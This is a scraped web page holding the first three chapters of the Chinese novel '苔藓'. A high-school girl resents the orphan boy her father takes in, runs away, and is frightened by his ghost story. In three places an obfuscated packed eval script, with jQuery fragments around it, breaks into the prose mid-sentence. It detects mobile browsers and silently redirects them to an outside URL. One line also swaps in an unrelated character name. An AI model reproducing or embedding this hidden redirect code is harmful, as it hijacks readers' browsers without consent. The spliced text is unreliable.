《苔藓》 1. chapter 1 大暑天,别墅里的冷空气开得十足。 俞言依在门口,双手环抱,面无表情地审视偷偷摸摸从厨房后的储物间出来的人。 冷不丁看见个人影,俞淮强吓了一大跳:“女孩子家家怎么偷听墙角。” 俞言皮笑肉不笑:“大人家家偷打什么电话。” 俞淮强解释:“公司的事。” 俞言站直身体:“违法犯罪啊。” 俞淮强:“……” 俞淮强靠销售起家,做到栖禾市数一数二的生意人,嘴皮子功夫不是一般了得,唯独面对刚上高中的女儿,回回跟吃了哑炮似的无可奈何。 他摇头,叹气,摸着手机往前走。 俞言见势伸出胳膊:“打算瞒我到什么时候?” 被拦下的俞淮强一愣:“嗯?” 俞言脸上是一点笑容都没有了,开门见山吐出两个字: “李、衍。” 木子李,衍是哪个yan,俞言不知道,也没兴趣知道。反正从俞淮强深夜掉进国道旁一个废弃的下水口被人救上来开始,隔三岔五就要听到这个名字。 不得不说,俞淮强是一个滴水之恩当涌泉相报的大善人,两万块的红包不够表心意,还专门派司机给他买衣服,得知他是个孤儿后又主动给他爸妈修墓,修完觉得镇上的学校太垃圾,不能屈才又火急火燎办转校手续。 态度比公司上市那会儿还积极。 起初,俞言觉得他爸做得挺对的,知恩图报嘛。她家并不差那点钱,可现在是怎么回事?让一个完全陌生的男生住进来,还妄图先斩后奏? 荒谬。 俞言抿起唇。 见装傻充愣没效果,俞淮强拍了下脑门:“哦……刚想和你商量来着,李衍他——” “没得商量。”俞言果断打断。 别墅里的中央空调有些年头了,不知是空间太大制冷效果差,还是外面的天气实在太热,俞淮强额头渗出细密的汗珠。 当然,也可能是被俞言咄咄逼人的眼神焦出来的。 他语重心长地劝:“女儿啊,你爸运气好,要是没遇到李衍,你也成孤儿了。” 俞言漠然:“那坑只有三米。” “……”俞淮强解释:“只是在我们家住,爸爸没有收养他。” 俞言继续冷漠:“有什么区别。” 眼见女儿油盐不进,俞淮强也不多说了,直截了当谈条件:“衣服,包包,还是想和哪个明星合照?” 俞言也不客气:“一栋带花园泳池的别墅。” 俞淮强一滞:“你要房子做什么?” 俞言歪头:“搬出去。” “胡闹!” 作为一个生意人,俞淮强的脾气相当稳定,尤其是在家中,几乎不大声说话。被这么忽然一吼,俞言打了个颤,垂在身侧的手捏成拳头:“到底谁胡闹?敏行不让寄宿你让他读其他学校啊,或者在敏行附近租个房子,买也行,送给他都可以,为什么非得住进我们家?” 俞淮强叹口气:“他父母双亡,唯一的姐姐也出车祸去世了。” 俞言看了眼别处,小声道:“又不是我撞的。” 俞淮强继续讲老好人的道理:“爸爸是想让他感受一下家的温暖。” 知了在外面聒叫,老旧的中央空调发出低沉的轰鸣。俞言的视线移到墙壁的挂画上。 一幅莫奈的睡莲,笔触柔美,光和影相得益彰,可见临摹者出神入化的功底,唯一的败笔在于落款处杂乱的色调。 即使被人巧妙地用技法遮住,也能隐约看出是一个稚拙的手印。 那是俞言五岁时看妈妈画画,不小心从凳子上摔下去留下的印记。 其实油画早已褪色,幼年的记忆也逐渐变得模糊。但每次路过,她总会想起挂在妈妈身上耍赖皮的场景。 几秒的沉默后,俞言忽地抬头:“我都没感受过他怎么感受。” 话题骤然变味,空气跟凝固了一般,周围陷入一种诡异的安静里。 俞言低头看脚尖,俞淮强好几次欲言又止,楼下传来兰姨拖凳子的刺啦声。 俞淮强喉结滚动了一下,过了好一会儿,抬手抹了把脸。 再开口时,声音有一丝沙哑和疲惫:“先吃饭吧。” 俞言哼一声,头也不回地往卧室走去。 - 俞淮强是个好说话的父亲,同时也是个说一不二的人,接李衍来家里走读是板上钉钉的事,俞言完全遗传了俞淮强的倔强,李衍要来的那天大早上,言而有信地收拾行李离家出走了。 目的地位于小区最东边,离家不到八百米的另外一栋别墅。 “不是,你真来啊。” 周既明靠坐在床头,闭着眼睛努力压下刚睡着一个小时就被吵醒的起床气。 俞言在卧室里转了一圈,捡起落在地上的游戏机,难得好声好气:“就两三天,等我把房子找好。” 实在是那家伙来得太突然,原本说是开学前才上来的,结果莫名其妙提前了大半个月。她昨晚才知道的消息,知道后就跟周既明发消息让他江湖救急。 闻言,周既明一下子弹坐起来,睁开沉重的眼皮。 26寸超大行李箱赫然立在床位,上面堆放了一个塞得鼓鼓的挎包,视线再平移到俞言身上,比她脑袋高的登山包不够,胸前还反背着一个双肩书包,脖子也没闲着,挂了两个新买的羊皮小包。 除此之外,所有能塞的地方都见不空隙,能挂的地方也挂满了玩偶、手办、钥匙扣,那是她所有的藏货。 这是把家都搬来了? 周既明脑仁突突突地疼:“你就这么走来的?” 书包的重量压得俞言纤细的背微驼,她看着灰白灰白的墙面,有点提不起劲儿地晃动双腿:“兰姨也去了,帮忙收拾行李。家里一个人也没有。” 说到这,她越想越委屈,转头告状: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326101|183227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “早饭都没人给我做,饿死了。” 周既明:“你没长手啊。” 俞言:“……” 她忽然意识到帮忙是要给报酬的:“说吧你想要什么。” 周既明捂紧被子看门口:“我想要你出去!” 俞言一愣。 换做以往,她绝对摔门而出,但现在不一样,她无家可归。 她一屁股坐下,力气大得躺在床上的周既明都颠了两颠,冰冷微笑:“我不!” 周既明无奈栽回去:“你不是一直想要一个哥哥吗。” “他是我哥吗?是我妈生的吗?”俞言跟被戳中某根敏感神经似的,反应很大。 周既明皱眉:“俞叔叔和我爸不一样。” 俞言忽然不知道说什么了。周既明看着吊儿郎当的,却总清楚她在想什么。 周既明和她一样,从小没有妈妈,算半个孤儿。俞言一直很喜欢周伯父,因为他表现得很爱周既明的妈妈,每次逢年过节在饭桌上都要悲伤地追悼一番,有人调侃,也表明自己不会再娶。 俞言从来没有见过自己的爸爸这样,就好像已经忘掉妈妈了。所以爱往周家跑,爱和周既明玩。 然而等到周既明上初一的时候,周雄安再娶了,不仅和下属结了婚还带了个男孩回来。 这个男孩他们之前见过,也一起玩过,包括俞言。那时候,周伯父说是战友家的孩子,常常上来过寒暑假。如今摇身一变,莫名其妙成了周既明的弟弟。 周家表明上是各自离异带孩子的重组家庭,可背地里大人都啧啧摇头:“早有苗头了。” “有什么不一样,大人们都是鬼话连篇。”俞言抱着膝盖,捧着已经凉透的牛奶,指腹有一搭没一搭地点着被空调吹得冰冷刺骨的杯壁。 见她脸色黑得发臭,周既明终于认真起来:“他长什么样?” 俞言毫不犹豫:“丑。” “……”这重要吗?周既明胳膊肘撑起来:“我是问和你爸长得像不像。” 俞言额头抵上杯沿,有气无力地撞钟:“这谁知道。” 窗外蝉鸣聒噪,阳光刺眼。 她根本没见过那人,所以长什么样呢? 和她爸像的话,那就和他们没区别,在某个名为“乡镇”实为大城市的地方娇生惯养长大,周既明的弟弟就是最好的例子。 如果不是。乡下来的,很穷,约等于头发油腻,尖嘴瘦猴,说不定还染个黄毛,就像她去参加公益活动时看到蹲在网吧门口叼着烟脖子上挂着金属项链的杀马特一样。 可听说他成绩很好。无非是戴着黑框眼镜两眼无神的书呆子,因为干农活指甲缝里全是泥,身上还飘着股鸡鸭猪的家禽味儿。 俞言下意识皱起眉头。 无论哪样都烦死了,让她和这样的人生活在一起简直是入了十八层地狱。 不过没关系。 她入地狱,他就得跟着受极刑。 2. chapter 2 周既明清醒了一会儿又蒙头睡过去了,俞言轻车熟路将行李箱拖至客房,叮叮咚咚臭着张脸,阿姨见状也不敢上前帮忙。 很快到了饭点。 周既明的后妈和弟弟去日本游学了,空荡华丽的饭厅里只有他们三人。俞言和周既明对坐,周雄安坐主桌。 周雄安年轻时立过个人二等功,转业到某机关单位数年,如今在一家国企当领导。由于长得板正,又当过军人,俞言从小对他崇拜有加。 但自从他二婚,一身正气的形象骤然崩塌,俞言再也不肯像那从前那样,见面就甜甜地喊一声“叔叔”。 周既明更别提了,眼皮都懒得抬一下。 一顿饭吃得安安静静的,直到周雄安手机铃声响起。 “嗯……在呢……我知道……”周雄安瞄了眼正在夹鱼的俞言,扬声道:“正在吃。” 俞言筷子一顿,看向周既明。周既明垂着眼,视若无睹地大口刨饭,直到桌下的腿被轻踹了一脚。 他不情不愿地放下碗,用口型问:“俞叔叔?” 周雄安点头。 俞言顿时警铃大作,嘴都来不及擦就想跑,脚一踩地,还是被周雄安给叫住了。 “你爸的。”周雄安不容拒绝地将手机递过来。 俞言抿嘴,犯倔。 周雄安又往前递了点,正色道:“有话好好说。” 平心而论,周雄安领导做惯了,不苟言笑的时候压迫感极重,俞言是有点怵他的。 她硬着头皮,磨磨蹭蹭地接过来。 “怎么不接电话?” 俞淮强的声音没有责怪的意思,甚至听上去有几分内疚。 俞言:“没电。” 拙劣的借口让那边战术性沉默了两秒,再开口时,话里带着轻松的笑:“爸爸做了一大桌你爱吃的菜,就等你呢……快回来。” 俞淮强一年没下过厨房,偶尔兰姨不在,三菜一汤都嫌麻烦。 俞言乐了:“是给我做的吗。” 俞淮强笑得讨好:“给我宝贝女儿做的。” 俞言哼一声,蹙紧的眉头随之松开。她拉开椅子坐下,歪着头,纡尊降贵般的像个小公主。 “什么菜?” “清蒸石斑,盐焗花螺,醋椒鸡丝,上汤三鲜……多着呢。”见对面没有反驳,俞淮强赶紧趁热打铁:“我让小张叔叔来接你。” 俞言没说话,指尖划拉着桌面,正思考着呢。忽然听到电话里传来一道陌生模糊的男音,那人叫了声“俞叔叔”,又和兰姨说了句什么。俞淮强的声音随之变小,应该是故意将手机拿远了 她指尖一顿,忽然觉得没有犹豫的必要了。 “不用,我吃饱了。”俞言说。 “那你晚上——” 没等俞淮强说完,俞言强行挂断,将手机还给了周雄安。 - 另一边,俞家饭厅。 在女儿那儿吃了闭门羹的俞淮强脸色不太好,可在转头看见局促的男孩时又换上了温和的笑容。 他乐呵呵地让李衍多吃一点,把这儿当成他的家,有什么不合口味一定要告诉阿姨。 被点到名字的兰姨站在一旁连连点头,同样和蔼地笑着,目光却不留痕迹地打量起坐在俞言位置上的少年。 这是她第二次见到李衍。 头一回是在省人民医院,俞淮强摔进坑里的同时把高血压摔出来昏迷了,医院把电话打到了秘书那儿,秘书又打给了她。那会儿俞言正在一个叫斯什么卡的地方旅游,电话打爆了也没人接,她只好叫上司机张叔风风火火地往医院赶去。 病床前围满了人,李衍孤零零站在门后的角落,手长脚长的一个男生,却因为沉默被所有人忽视。 直到进来巡查的护士问他是不是家属,大家才舍得把视线从俞淮强身上移开。 感谢的话几乎每个人都说了一遍,男生微低着头,似乎并不在意,只在最开始说了句“不用”后便没有了任何回应。 直到要回家照看怀孕老婆的张叔问他住哪里,他送他回去,他才忽地抬起眼皮。 两只眼睛干干净净,五官端正,瞳仁却黑得骇人,里面似乎装着远超于同龄人的成熟,甚至因为脸颊瘦削而显得有几分阴鸷。 他说:“叔叔说要给我钱。” 众人一愣。 他又说:“感谢的。” 整个过程,面无表情,语气无波无澜,冰冷得不太像人。 兰姨当即皱眉,秘书拉上张叔去外面商量,最终作出奖励两万块的决定,毕竟这孩子一副不给钱就会赖着不走的强硬姿态,俞淮强还未清醒,真假未知,两万块也不是个事儿。 这事之后,兰姨对李衍的印象非常糟糕,俞言是她从小带大的,跟亲生孩子没区别,所以当俞淮强说要把他接来家中走读时,她内心一万个不同意。 然而她一个保姆人微言轻,评论几句每天应该吃什么菜要添点什么家具,俞淮强大概率会采纳。但这种家事,大事,根本没法插嘴。 不过没过多久,对李衍怀有的看法在去到他家时发生了微妙的改变。 难以相信改革开放快三十年,居然还有人住在竹篾和泥巴糊的房子里,不知道从哪个垃圾堆里捡来的塑料盆搁在破了口的屋檐下接水,床不像床,被子不像被子,倒是晾在外面的校服干干净净,只是被洗得发灰掉了线。 整个破败得快要坍塌的屋子里,最值钱的估计是放在床底的那箱书。 闻讯赶来的村支书趁李衍进屋里,絮絮叨叨地讲情况:“他妈妈当年是个下山的文青,在制衣厂认识了他爸,生了他姐姐后赶上下岗潮,两个人在镇上盘了个铺子卖酒,生意好得不得了,最早的万元户呢,结果特大洪水那年,他们是党员,为了带头救人两个都没了……” “一家四口就剩下姐弟两个,姐姐没办法,只能辍学去县里打工拉扯弟弟。”说到这,村支书长叹气唏嘘:“前几年也死了,被车撞死的。“ 大家集体沉默,都不知道该说什么。 好在村支书马上转了话锋,也因为有人收养李衍而欣慰地笑起来:“他脑子好使,成绩顶呱呱,不是我吹牛,从小就没考过第二,村里的孩子看到他都害怕。也肯吃苦,寒暑假——” 村支书说到一半,看见从门口出来对着他一脸不满的李衍赶紧闭了嘴。等他走了,村支书惋惜道:“就是太要强,倔起来像头牛。” 走前,李衍当着大家的面,给他爸妈、姐姐各磕了个头。 牛不牛的兰姨不清楚,反正看见他跪在坟前默不作声掉下两颗眼泪时,倒是有一点儿心疼。 - 出门在外,没了兰姨的养生监督,俞言困了就睡,饿了就吃,熬夜赖床,零食不断。高兴的时候看电视看漫画打游戏,心情不好就哐哐揍周既明两拳解闷,日子过得不亦乐乎。 直到开学前的一周,周既明的后妈秦可然领着她的宝贝儿子周超越游学归来,好日子彻底到头。 看在寄人篱下的份上,俞言难得本着“她不惹我我就不惹她的”心态与秦可然相处。谁知道秦可然压根不买她的帐,不过也在意料之中,因为从小帮周既明这个“白雪公主”出气,她和秦可然水火不容,尤其是周叔叔一碗水端不平,越来越偏袒周超越这个天才儿童后,她恨不得用眼神在她脸上刻下“小三罪该万死”几个大字。 秦可然当然也讨厌她得要死。 人前功夫倒是做得很足,面对她时的笑容总是很和蔼,嘘寒问暖也一个字不差,就是喜欢背地里添油加醋告恶状。 比如现在,女人压低的声音从紧闭的房门里传出来。 “周雄安,这个家到底姓周还是姓俞?!” 男人哎一声:“你跟小孩一般见识什么。” 或许是周雄安的情绪过于稳定,刺激到了秦可然的神经,她语气变得激动起来。 “我见识?你瞧瞧她那个样子,哪个女孩子像她那样满口谎言!” “小孩间打打闹闹正常,超越也没摔到哪儿,我警告你,不要出去瞎说。” “周雄安——!非要儿子摔成傻子你才满意是吧?” 俞言抿唇。 关于周超越摔倒的事,她以为她解释地很清楚了,她从楼上下去,周超越从楼下上来,隔得几丈远,他自己四肢发育不健全关她什么事? 屋内沉默,俞言也站在外面沉默。 十分钟后。 一个披头散发,提着大包小包行李的女孩出现在A08栋别墅的门口。 …… 凄凉黑夜,冷风吹。 在此起彼伏的虫鸣声里,找不到钥匙的俞言猛吸了下鼻子,眼泪唰地掉了下来。 俞言性格要强,坚信“女儿有泪不轻弹”,用她爸的话来说,打出生起就没心没肺,摔跤不闹,打个针还能对护士笑。 最让人费解的是她六岁那年,和别的小孩比武,一米二不到的小身板,从三米高的墙上跳下去,摔了个骨裂加关节脱落,倒在地上只知道炫耀自己武力高强。 哭是绝不可能哭的,打死都不会哭,唯独一点—— 受不了委屈。 一颗芝麻粒的小委屈都能让她嚎上一天一夜,像个混世魔王一样折磨家里的所有人。 不过后来叶筠走了,俞言只能闹上半天。再后来,公司进入正轨俞淮强忙得不可开交,没人理她,也几乎再没哭过了。 夜深了,虫也困得不叫了,俞言蹲在门口,可怜巴巴擦着眼泪,手却无情摧残着俞淮强最宝贝的松针盆栽。 忽然,一声嘎吱划破了久违的安静。 她动作没停,揪着叶子抬头看去。 四周一片漆黑,昏黄的光线从玄关倾泻出来。 眼睛因为不适应而微眯了下,再看去时,一个身高腿长的男生站在门外。 背着光,看不清脸。却在瞬间,洗发水湿哒哒的清香充斥满鼻间,她皱了下眉头,忍不住站起来。 难以想象第一次见面会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326102|183227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这样的场景。 他在门内,她在门外,他像个主人一样往下俯视,而她泪眼汪汪活脱脱一个无家可归的流浪汉。 或许灯光微弱的缘故,也可能是泪水模糊了视线,足足楞了好几秒才彻底看清对面那人的长相。 个高,很瘦,穿了件硕大的深蓝色体恤,看款式和商标,不出意料是她爸的,土得让人想发笑。头发又短又硬,应该是刚用毛巾擦过,乱七八糟支楞着,土上加土。 再多看两眼,发现他并没有想象中的瘦,握住毛巾的手臂肌肉分明线条流畅,甚至比篮球场上受女生追捧的体育生看着更有力量。 脸倒是还行,但也算不上精致,要说有什么特别的,鼻梁高,眼窝深,丝毫没有这个年纪男孩该有的稚气。 和预想中的杀马特,以及黑眼镜小胖迥然不同。 俞言忍不住多看了几眼。 整个过程,李衍同样一言不发地看着她,他没有像她那样明目张胆地打量,视线只汇聚在一个焦点,只不过比煤炭还黑的瞳仁里充满了警惕和防备。 俞言很快想到一种动物。 杜宾。 城市禁养的烈性犬。 外形冷峻,肌肉精壮,有着敏锐的警觉性和超高的耐力,又因高度服从性成为常用军犬。当然,爆发起来也攻击力十足。 通俗点说就是,优质,有潜力,看起来好驯服,但不知道什么时候会突然跳起来咬你一口。 非我族类,其心必诛。 俞言小臂快速抹了把再等两秒快被风干的眼泪,抓上肩带,若无旁人地掠过他。 “你……” 俞言转过头来,横眉冷目:“你什么你。” 上秒还在哭,下秒就吼人。 李衍被她比翻书还快的变脸弄得有点懵,视线再一次快速扫过她侧脸时无比肯定:“俞言?” 挺翘的鼻梁以及浓密的眉眼和俞叔叔如出一辙,除了这个家的小主人,不会是别人。 他很快扯出一个笑容。 俞言停脚,撑住行李箱,神情极度不爽:“谁允许你叫我名字了?” 李衍:“那我叫你什么?” 是因为夜太深看不清她的臭脸吗? 她深吸口气,抬手指他:“你——”,又点了点自己的嘴唇:“哑巴。” 说完,俞言继续往里走,可刚走两步,行李忽然拖不动了,她一回头,一只手握在提手的另一边。 李衍往上提:“我帮——” “松开!”吓得俞言瞬间松开行李箱,身体同时往旁边偏,亮晶晶的眼睛透出数不清的嫌弃:“别碰我东西。” 李衍的手臂悬在半空,手指因失去着力点而蜷了几下,出于某种思考而犹豫:“那……” “你是哑巴,哑巴是不会说话的。”俞言硬声打断。 李衍收回手。 俞言蹙眉:“ok?” 李衍依旧没搭腔,空气安静下来,俞言以为他明白了,拉起拖杆绕道走。右脚刚踏进门口,身后传来一道比起先前沉了不少的声音。 “我不是。” 俞言快速回头,李衍把她看着,他至少比她高两个头,加之距离近,袖管捋在肩头,眼睛不眨一下地盯着她。 俞言莫名有点杵,但很快被挑衅的愤怒取代。 她完全转过来:“你是。” “不是。” 俞言蹙眉:“我说你是你就是。” “你说了不算。” 俞言一字一顿:“就!是!” 和俞言的气急败坏相比,李衍显得很平静,他不再说话,甚至几不可闻地啧了声而显出一种无可奈何的包容。 俞言更气了,吭哧吭哧拖起行李箱,路过他时胳膊肘往外用力一拐,毫无征兆的攻击使出了全身的力气,然后目视前方,任何眼神都不再施舍。 李衍吃惊,但还是跟个没事人一样地站在门外,直到目送人进去后才忍不住呼出口气,又长又浅地嘶了声。 他关上门,等待把地板踩得噔噔作响的女孩彻底走远。 玄关微弱的灯笼罩着她纤细的背影,头扬得很高,背挺得笔直,凌乱扎起的丸子头衬得脖颈格外修长,远远看去,像一只高冷贵气不可一世的白天鹅。 他想起今早在路上的时候,俞叔叔贴心地向他告知家中情况,可能是有些疲惫,语气一直平平,直到谈起他有个女儿,眼里瞬间有了神采。 漂亮,成绩优异,能歌善舞,去年担任学生代表在韩国总统访华时上了电视,照片至今仍挂在校门口的荣誉墙上。 只是夸赞完宝贝女儿后,俞淮强想到什么,忽然皱了下眉头,偏头对他道:“你等会儿见不到她,一大早又疯玩跑去朋友家了,估计这段时间都不会回来,要是见到她能绕道走就绕道走,实在不行就告诉我,叔叔替你出头。” 那会儿李衍还不太清楚俞淮强的意思,如今见到真人总算是明白了。 他有了准备,今后的日子不会好过。 3. chapter 3 回到卧室的俞言将行李箱一扔,鞋一踢,泄气地扑上床。 接连受气,导致她看哪儿都不爽。被子不够软,枕头不够香,就连房间只开了盏起夜的小台灯也觉得刺眼。 她郁闷地扯过被子,脸埋进臂弯里,一动不动过了很久。 像是睡着了,可耳朵却竖得极高。 ——自从五分钟前楼下传来很轻的关门声后,整栋别墅就仿佛完全沉入水底,再也捕捉不到一丝动静。 没人在乎她在哪儿,更不会在乎她有没有受委屈。大家都睡得很香。 什么嘛…… 她跳下床,“啪”的一声打开门锁,并摇大摆地走出去。 像是在练习踏步,每一脚都踩得极重,发出的噔噔声让整栋楼都亮了起来。然而站在楼道口往下望去时—— 兰姨的房门依旧紧闭,俞淮强的打呼声此起彼伏。 饭桌前则多了一把椅子。 屋内的陈设和走前并无差别。 什么都没变,又好像什么都变了。 几乎只经过一秒的思考,俞言重新回到卧室,再下楼时,背上多了一个硕大的登山包。 …… 夜风惊扰,树影绰绰。 推开院门的栅栏,俞言的脚步却黏在了地上。 她转身望着三楼的窗户好一会儿,有点赌气似地埋怨:“谁让你要去接他……” 视线下移,喉头更是一紧:“爸……你等着后悔吧!” 只是强硬的尾音还未散尽,肩膀就垮了下来。她抿着唇,提了提肩带,毅然决然地往外走。 “——你去哪儿?” 忽然冒出的声音把虫鸣都吓散了,俞言猛地转头,左右找寻,最终在尽头那扇窗户后依稀辨认出一颗脑袋的轮廓。 没等她回应,对方又紧接着追问:“又去朋友家?” 应倪攥拳:“你烦不——” 嘎吱—— 熟悉的声音打断了她的话。上周翻修外墙,工人踩坏了兰姨卧室窗户的滑轨,每次推开都会发出这种令人牙酸的声响。 “谁啊?”伴随兰姨困倦又警惕的声音,一道手电的光束随之扫过院子,“谁在外面说话?” 俞言屏住呼吸,慢慢往石雕后移。 其实这个角度兰姨是能看见她的,或许是灯光微弱,也可能是老花眼加重,光束草草晃了两圈后,窗户被重新关上。 俞言松口气。 可尽头的那扇,黑漆漆的身影依旧杵在那里。 她冷冷地瞪过去,做了噤声加抹脖子的动作,硕大的登山包随之往肩上一甩,快步消失在浓重的夜色里。 李衍追上俞言的时候,离出口只剩不到五百米,在路过最后一个分岔口时,终于确认了:“你不是去朋友家。” 讨人厌的声音随着渐进的脚步声传进俞言耳朵里。 她停脚,转身:“我去你家。” 李衍明显被这回答弄得楞了一下。 俞言却一脸理所当然:“你住我家,那我不得住你家。” 要不是她毅然决然的模样,李衍会以为她在开玩笑:“我家很远,叔叔会担心的。” 大概是从他口中听到叔叔这个昵称,俞言说不出的烦躁,脱口道:“关你屁事。” 李衍对于她的攻击置之不理,只是说:“太晚了,回去吧。” “好啊,我们一起回。”她点点头,乖张地笑起来:“你回你家,我回我家。” 话音落下,李衍手插兜里,看向了别处。 “说话。“俞言不依不饶。 李衍沉默了下,回头:“我无话可说。” 俞言:“……” 然后沉默,又是沉默。 俞言轻呵一声:“不要脸”。 话题终结,她斜他一眼,提了提背包,继续往外走。 夜很深,身后的脚步格外刺耳,跟怎么也甩不掉的幽灵一样可恶。俞言被风推着往前快走了几步,经过变电箱前时一个急刹。 见前面的人掉头,李衍以为是改变主意了,可跟着俞言重新进入小区时,发现她的行动路线与家的方向完全相反。 难道真是去朋友家? 李衍一边狐疑,一边专注地观察俞言的行动路径。十几分钟后,他穿过人工湖旁边的小树林,来到一座古堡式的建筑前。 这里远离了住宅区,附近只有一个网球场。没有保安,一楼灯火通明,大厅门口的石柱上刻有“荔园售楼部”几个金色大字。 往里走。硕大垂吊的水晶灯布满灰尘,桌椅凌乱摆放,电梯也无法运行,配上窗外婆娑的树影,像恐怖电影里的鬼屋。 俞言一点也不害怕,早有准备地摸出一个迷你手电筒,上楼后七弯八拐地停在一个消防栓前,从缝隙角落摸出把钥匙,轻车熟路打开旁边的门。 门一开,灰尘扑面而来。 李衍呛了一口,借着清冷的月光打量了一圈。 这应该是个废弃的会议室。 在他观察环境的时间里,俞言已经走到最里面去了,拖来一张椅子卸下背包,拿出水杯,饼干,毯子,以及一个……帐篷。 “你要在这过夜?”李衍不敢相信自己的眼睛。 俞言不理他,埋头撑帐篷。 “没水没电的怎么睡?” 俞言还是不理他。 李衍沉默了一会儿,走过来:“你听过一个关于离家出走的故事吗?” 俞言手一顿,有病是吧,当跟踪狂不过瘾,还要通过讲故事来教育她?当她三岁小孩? 她忍无可忍:“吵死了。” 李衍非但没有闭嘴,而是从容地拖开张椅子坐下,目光投向窗外沉沉的夜色,身体完全陷进阴影里:“大概是七八年前,我家隔壁的一个姐姐,成绩特别好,在镇里上高中。” 成绩很好还在镇里上高中? 俞言在心里不屑地嘁了声。 他的音色很低沉而清晰,像夜色一样阴冷冷地包裹过来。 “一个周六,也是暑假,对,我想想,应该就是今天,她和她妈吵架了,和你一样把书包塞得鼓鼓的离家出走,不过她胆儿比较小,白天走的。” “但她家离镇上太远了,还没走天就已经黑了,她身上没钱,又困又累,那天还下着雨,只好躲进了前面不远的一个荒废的精神病院。”他顿了顿,补充道:“大门有锁,她是翻墙进去的。” 特意强调翻墙,难道是摔断了腿? 她可不会干这么蠢的事。 “精神病院一共有七楼,比这里多一层,有很多病房和办公室,她很倒霉,偏偏选了五楼的杂货间。” 李衍的声音很低,却在安静的环境里显得各外清晰,甚至能听到讲述时伴随的轻微呼吸声,让人情不自禁地想要代入进去。 他忽然问:“你知道为什么要选五楼吗?” 俞言下意识地思考了一下,嘴唇挪了挪,终究没抬眼。手依旧在摆弄搭帐篷的支架,但早就心不在焉,分不清上下左右了。 “那是唯一有光的地方。” 俞言:“……” 幸好没问,她还以为什么杂货间有床有吃的呢。 “走廊很长很长,雨也越下越大,空气中弥漫着一股消毒水的味道,她借着墙角泛着绿光的指示标,慢慢地向有光源的地方靠近。忽然!” 他声音陡然拔高。 俞言被吓得浑身一颤,气愤地站起来,“你故意的是吧!” 李衍面无表情地看着她:“你猜他听到什么声音了?” 俞言冷笑:“鬼叫。“ 李衍:“男人在剁排骨。” 俞言:“……” 她有点无语:“你是不是饿了?” “人的排骨。” 空气凝固了一瞬。 两人你看我我看你,谁都没再开口。整间会议室,或者说整个废弃的售楼部,陷入一种莫名瘆人的死寂之中。 仿佛这里不是售楼部,而是那座精神病医院,他们和那个女生一样,站在门外,透过缝隙,看着里面的男人高扬起手臂,一刀一刀地往下挥,血肉四溅,直至整个视线被染成模糊的红色。 砰砰砰。 俞言听到了自己的心跳,以及喉咙发紧的声音。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326103|183227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “女生吓得脸色苍白,转头就跑,可太晚了男人已经发现她了,她一边跑一边呼叫,雨声掩盖了所有的声音,不可能有人来救她,慌乱之中,她躲进了一楼的女厕所。” 他语速越来越快,越来越急切。 “厕所没有门,每一间只有一堵肩膀高的墙。她躲在最里面那间,蹲在最角落。很快,门口传来缓慢、沉重的脚步声。”李衍抬脚落下,抬起又落下。 “啪、啪、啪。” 鞋底砸在木地板上的声音和他喉咙里发出的声音融为一体,一下又一下地在黑暗中炸开,压在心脏上,让人险些喘不上气来。 大门敞开,外面和里面连成漆黑一片,俞言盯着某个方向,小声又惊恐地喊道:“别说了。” 李衍跟听不见似的,直视着她的眼睛,仿佛在透过她看向那个女生。 “她捂住眼睛,怕得浑身发抖,后悔为什么要离家出走,脚步越近她的恐惧就越强烈,好几次要哭出声来了,但她拼命咬住拳头,忍住了。” “终于,脚步声在很近的地方停了下来,一分钟、两分钟,十分钟……男人终于走了。可女生还是很害怕,依旧捂着脸躲在原地,过了很久很久,天色逐渐变亮。” “当第一缕光线从通风口透进来的时候,她知道自己得救了。她长长舒了口气,睁开眼睛缓慢地站起来。” “然而,就在她准备走出去时,忽然发现有旁边有人在注视她,转头一看——”李衍慢慢地转过头去,俞言也下意识向右转头,就在这个瞬间,什么东西突然搭上了她的左肩膀。 俞言背脊僵住,脖子像被冻硬似的,回头速度十分缓慢。 李衍的声音低低萦绕在耳旁:“男人就站在墙后,露出半张脸,他盯着她看了一整晚,一直看着,就这样看着——“ 一回头就看见李衍隐在黑暗中的半张脸的俞言大叫起来,一边叫一边拳打脚踢。 李衍有先见之明,在她动手前往后退了好几步,毫发未损。 他好心安慰道:“不用怕,只是个鬼故事。”故意忽略掉俞言惊恐又愤恨的神情环顾一圈,无所谓地耸肩:“这里也没有厕所。” 谁说没厕所?出门右拐就是!两间都是女厕所,都有隔门旁边可以站人! 俞言越想越觉得毛骨悚然,故事里的画面和现实渐渐重合,恐惧和愤怒交织着涌上来,她胸口剧烈起伏着,声音里带上了哭腔:“我要回去,我不在这儿了,我要回家!” 见她大汗淋漓,脸色惨白,李衍后知后觉地意识到——玩笑好像开过火了。 